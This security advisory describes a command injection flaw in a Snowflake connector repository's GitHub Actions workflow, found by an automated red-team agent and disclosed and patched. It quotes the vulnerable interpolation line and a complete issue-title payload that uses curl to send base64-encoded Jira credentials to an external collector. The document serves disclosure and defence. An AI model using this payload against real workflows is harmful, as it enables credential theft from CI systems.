Critical Command Injection Vulnerability in Snowflake snowflake-connector-net GitHub Actions Exposes Jira Credentials

Executive Summary

A critical command injection vulnerability was identified in the GitHub Actions workflow of the public snowflakedb/snowflake-connector-net repository maintained by Snowflake. This flaw enabled unauthenticated attackers to execute arbitrary commands on the CI/CD runner by submitting specially crafted GitHub issues. The vulnerability resulted in the exposure of internal Jira credentials, including API tokens with read access to sensitive Snowflake projects. The issue was discovered and responsibly disclosed by Wiz Research’s autonomous “Red Agent” system and was remediated within hours. At the time of writing, there is no evidence of malicious exploitation or customer impact, and no CVE or CISA KEV entry has been assigned.

Technical Information

The vulnerable component was the .github/workflows/jira_issue.yml workflow in the snowflakedb/snowflake-connector-net repository. The workflow interpolated attacker-controlled issue titles directly into a shell run: block, as shown below:

run: |
TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\'/g")

This workflow was triggered on the issues: opened event, allowing any GitHub user to initiate it. The vulnerability originated from a change introduced in commit 094038e and merged via PR #1218 on June 18, 2026. The change replaced a previously safe pattern using environment variables and jq --arg with direct string interpolation, creating a command injection vector.

An attacker could exploit this by opening a GitHub issue with a title containing shell metacharacters, breaking out of the echo statement and injecting arbitrary commands. The proof-of-concept payload crafted by the Wiz Red Agent system executed a curl command to exfiltrate the Jira API token:

'; curl -s "https://subdomain.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0`&e=`printf %s $JIRA_USER_EMAIL|base64 -w0`&u=`printf %s $JIRA_BASE_URL|base64 -w0`" ; echo '

As a result, the workflow runner (Azure IP 20.106.182.197) sent the credentials to an attacker-controlled endpoint. The exposed credentials included the JIRA_API_TOKEN, JIRA_USER_EMAIL (qa@snowflake.net), and JIRA_BASE_URL (snowflakecomputing.atlassian.net), granting read access to Snowflake’s engineering, security compliance, and bug bounty tracking Jira projects.

The timeline of events is as follows: the vulnerable code was merged on June 18, 2026; the flaw was discovered and exploited by Wiz Red Agent on June 23, 2026, with responsible disclosure to Snowflake via HackerOne (report #3819931); the workflow was patched the same day (PR #1402), and the Jira token was rotated on June 24, 2026. The public disclosure deadline was set for July 25, 2026, per Snowflake’s policy.

This vulnerability underscores the risks of using AI-assisted code generation (such as GitHub Copilot) in security-sensitive workflows and highlights the necessity of rigorous review and static analysis for CI/CD automation. GitHub had previously documented this class of workflow injection and recommended using intermediate environment variables to avoid direct expansion of untrusted data.

Exploitation in the Wild

Only Wiz’s Red Agent is confirmed to have exploited the vulnerability during authorized testing. No evidence of malicious exploitation or customer compromise has been found. Snowflake’s internal audit logs confirmed no unauthorized access during the five-day exposure window. As of August 17, 2026, no CVE or CISA KEV entry exists for this issue, and there is no CISA-confirmed exploitation.

Threat Actor Profile

There is no public or private reporting linking this vulnerability to any APT group or criminal actor. No evidence of targeting by sector or country has been observed. All exploitation was performed by Wiz’s Red Agent as part of responsible disclosure, and no malicious or state-sponsored activity has been detected.

Technical Analysis of Malware/TTPs

The attack leveraged a command injection vector in the GitHub Actions workflow. By submitting a crafted issue title, an attacker could break out of the intended shell command context and execute arbitrary commands. The proof-of-concept used a curl command to exfiltrate sensitive credentials. The workflow’s use of direct string interpolation without proper sanitization was the root cause.

Exploitation in the Wild

No evidence of exploitation in the wild beyond the authorized testing by Wiz’s Red Agent. No APT or criminal group activity has been observed.

Victimology and Targeting

No specific sectors, organizations, or countries were targeted. The only known exploitation was by Wiz’s Red Agent for responsible disclosure.

Mitigation and Countermeasures

• The vulnerable workflow was patched on June 23, 2026, restoring safe environment variable handling.
• All exposed credentials were rotated immediately after discovery.
• Recommendations:
• Avoid direct expansion of untrusted data in shell scripts within CI/CD workflows.
• Use intermediate environment variables and safe parsing methods (e.g., jq --arg).
• Regularly audit CI/CD workflows for injection risks.
• Rotate credentials frequently and monitor for unauthorized access.

Indicators of Compromise

References

• Wiz Blog: Red Agent Exploits Snowflake Vuln Missed by Github Copilot
• The Hacker News: Snowflake GitHub Actions Flaw Lets Crafted Issues Trigger Command Injection
• Reddit: Red Agent Exploits Snowflake Vuln Missed by Github Copilot
• LinkedIn: Security #githubactions #snowflake
• GitHub PR #1218 (Vulnerable Merge)
• GitHub PR #1402 (Remediation)

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